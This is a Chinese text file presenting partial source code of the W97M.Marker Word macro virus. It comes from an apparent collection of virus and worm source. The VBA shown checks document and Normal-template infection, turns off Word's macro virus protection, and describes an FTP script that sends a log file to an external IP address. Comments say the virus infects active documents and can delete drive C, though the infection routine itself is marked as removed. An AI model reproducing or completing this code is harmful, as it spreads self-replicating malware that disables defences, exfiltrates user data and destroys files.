w97m.marker.a(硬盘杀手)源代码.txt

病毒源码 包括世上第一个病毒源码、蠕虫源码、冲击波源码

注意:删去了主要数据结构
VERSION 1.0 CLASS
BEGIN
  MultiUse = -1  'True
END

Attribute VB_Name = "ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Private Sub Document_Close()

On Error Resume Next

Const Marker = "<- this is a marker!"


'Declare Variables
Dim SaveDocument, SaveNormalTemplate, DocumentInfected,
Dim NormalTemplateInfected As Boolean
Dim ad, nt As Object
Dim OurCode, UserAddress, LogData, LogFile As String


'Initialize Variables
Set ad = ActiveDocument.VBProject.VBComponents.Item(1)
Set nt = NormalTemplate.VBProject.VBComponents.Item(1)

DocumentInfected = ad.CodeModule.Find(Marker, 1, 1, 10000, 10000)
NormalTemplateInfected = nt.CodeModule.Find(Marker, 1, 1, 10000, 10000)


'Switch the VirusProtection OFF
Options.VirusProtection = False


//此处省去病毒感染算法。

//已经感染病毒的机器在C:\根目录下会有一个netldx.vxd的文件，其记载内容如：
//o 209.201.88.110
//user anonymous
//pass itsme@
//cd incoming
//ascii
//put C:\hsf5442.sys
//quit
//此外还会在C:下生成另一文件hsf5442.sys,此文件为log文件.


'Make sure that some conditions are true before we continue infecting
anything
//省去算法

'Write a log file of this NormalTemplate infection
//...................


'Infect the ActiveDocument
//发作条件成立是感染活动文件，严重时删除C:盘

End Sub